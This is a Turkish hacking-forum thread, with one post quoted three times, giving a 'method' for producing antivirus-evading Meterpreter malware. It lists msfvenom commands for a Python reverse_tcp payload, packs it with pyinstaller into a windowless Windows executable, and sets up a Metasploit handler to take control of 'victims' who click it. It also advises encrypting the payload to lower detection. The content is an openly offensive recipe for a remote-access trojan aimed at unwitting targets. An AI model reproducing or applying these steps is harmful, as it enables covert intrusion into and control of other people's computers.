Meterpreter Python Undetected Methodu

Bunjo' Alıntı:

Runtime olarak test ettiniz mi?

Genişletmek için tıkla ...

z3n' Alıntı:

---

Bildiğimiz üzere msfencoderler çoğu antivirus tarafından biliniyor

Ben ise bugün sizlere daha basit ve daha işe yarayan bir taktik vericem.

Yapmamız gereken Metasploit-Framework içinde Bulunan Msfvenom ile "python/meterpreter/reverse_tcp" bir payload oluşturuyoruz.

Kod:

msfvenom -p python/meterpereter/reverse_tcp LHOST=LOCAL_IP_ADRESINIZ LPORT=MODEM_PORTUNUZ -f py -o "Kaydedilecek yer"

Sonra oluşan .py payload dosyamız oluşacaktır.

Şimdi ise .py dosyasını Windows işletim sisteminde çalışabilmesi için .exe uzantısına çevirmemiz lazım
Bunun için "pyinstaller" Kurmamız lazım.Python yazılımının içindeki pip ile indirebilirsiniz

Kod:

pip install pyinstaller

Sonrasında pyinstaller kullanarak .exe çevirebiliriz.

Kod:

pyinstaller --onefile --noconsole -w payloadınızınadı.py

Böylece Encrypt edilmiş payloadınız olacaktır.
Kurbanlarınızı avlamak için ise metasploit-frameworkdan

Kod:

use exploit/multi/handler

Kod:

set payload python/meterpreter/reverse_tcp

Kod:

set LHOST IP'niz

Kod:

set LPORT MODEM_PORTUNUZ

Kod:

exploit

Bu Komutları Kullandıktan sonra Payloadınıza tıklayan avlarınızı Metasploit-Frameworkun Yardımı ile çeşitli şekilde sömürebilirsiniz.

Konunun çoğu kısmı alıntıdır. Ayrıca python dosyanızı kriptolayarak sonra pyinstallerden geçirirseniz yakalanma düzeyi azalacaktır. Scan sonuçlarını da atıyorum. Zaten sadece hiç kullanılmayan antivirusler anlıyor rat olduğunu. Umarım beğenirsiniz...

Genişletmek için tıkla ...

z3n' Alıntı:

Daha etmedim ancak scan sonuçları bu yönde.

Genişletmek için tıkla ...

z3n' Alıntı:

---

Bildiğimiz üzere msfencoderler çoğu antivirus tarafından biliniyor

Ben ise bugün sizlere daha basit ve daha işe yarayan bir taktik vericem.

Yapmamız gereken Metasploit-Framework içinde Bulunan Msfvenom ile "python/meterpreter/reverse_tcp" bir payload oluşturuyoruz.

Kod:

msfvenom -p python/meterpereter/reverse_tcp LHOST=LOCAL_IP_ADRESINIZ LPORT=MODEM_PORTUNUZ -f py -o "Kaydedilecek yer"

Sonra oluşan .py payload dosyamız oluşacaktır.

Şimdi ise .py dosyasını Windows işletim sisteminde çalışabilmesi için .exe uzantısına çevirmemiz lazım
Bunun için "pyinstaller" Kurmamız lazım.Python yazılımının içindeki pip ile indirebilirsiniz

Kod:

pip install pyinstaller

Sonrasında pyinstaller kullanarak .exe çevirebiliriz.

Kod:

pyinstaller --onefile --noconsole -w payloadınızınadı.py

Böylece Encrypt edilmiş payloadınız olacaktır.
Kurbanlarınızı avlamak için ise metasploit-frameworkdan

Kod:

use exploit/multi/handler

Kod:

set payload python/meterpreter/reverse_tcp

Kod:

set LHOST IP'niz

Kod:

set LPORT MODEM_PORTUNUZ

Kod:

exploit

Bu Komutları Kullandıktan sonra Payloadınıza tıklayan avlarınızı Metasploit-Frameworkun Yardımı ile çeşitli şekilde sömürebilirsiniz.

Konunun çoğu kısmı alıntıdır. Ayrıca python dosyanızı kriptolayarak sonra pyinstallerden geçirirseniz yakalanma düzeyi azalacaktır. Scan sonuçlarını da atıyorum. Zaten sadece hiç kullanılmayan antivirusler anlıyor rat olduğunu. Umarım beğenirsiniz...

Genişletmek için tıkla ...

z3n' Alıntı:

---

Bildiğimiz üzere msfencoderler çoğu antivirus tarafından biliniyor

Ben ise bugün sizlere daha basit ve daha işe yarayan bir taktik vericem.

Yapmamız gereken Metasploit-Framework içinde Bulunan Msfvenom ile "python/meterpreter/reverse_tcp" bir payload oluşturuyoruz.

Kod:

msfvenom -p python/meterpereter/reverse_tcp LHOST=LOCAL_IP_ADRESINIZ LPORT=MODEM_PORTUNUZ -f py -o "Kaydedilecek yer"

Sonra oluşan .py payload dosyamız oluşacaktır.

Şimdi ise .py dosyasını Windows işletim sisteminde çalışabilmesi için .exe uzantısına çevirmemiz lazım
Bunun için "pyinstaller" Kurmamız lazım.Python yazılımının içindeki pip ile indirebilirsiniz

Kod:

pip install pyinstaller

Sonrasında pyinstaller kullanarak .exe çevirebiliriz.

Kod:

pyinstaller --onefile --noconsole -w payloadınızınadı.py

Böylece Encrypt edilmiş payloadınız olacaktır.
Kurbanlarınızı avlamak için ise metasploit-frameworkdan

Kod:

use exploit/multi/handler

Kod:

set payload python/meterpreter/reverse_tcp

Kod:

set LHOST IP'niz

Kod:

set LPORT MODEM_PORTUNUZ

Kod:

exploit

Bu Komutları Kullandıktan sonra Payloadınıza tıklayan avlarınızı Metasploit-Frameworkun Yardımı ile çeşitli şekilde sömürebilirsiniz.

Konunun çoğu kısmı alıntıdır. Ayrıca python dosyanızı kriptolayarak sonra pyinstallerden geçirirseniz yakalanma düzeyi azalacaktır. Scan sonuçlarını da atıyorum. Zaten sadece hiç kullanılmayan antivirusler anlıyor rat olduğunu. Umarım beğenirsiniz...

Genişletmek için tıkla ...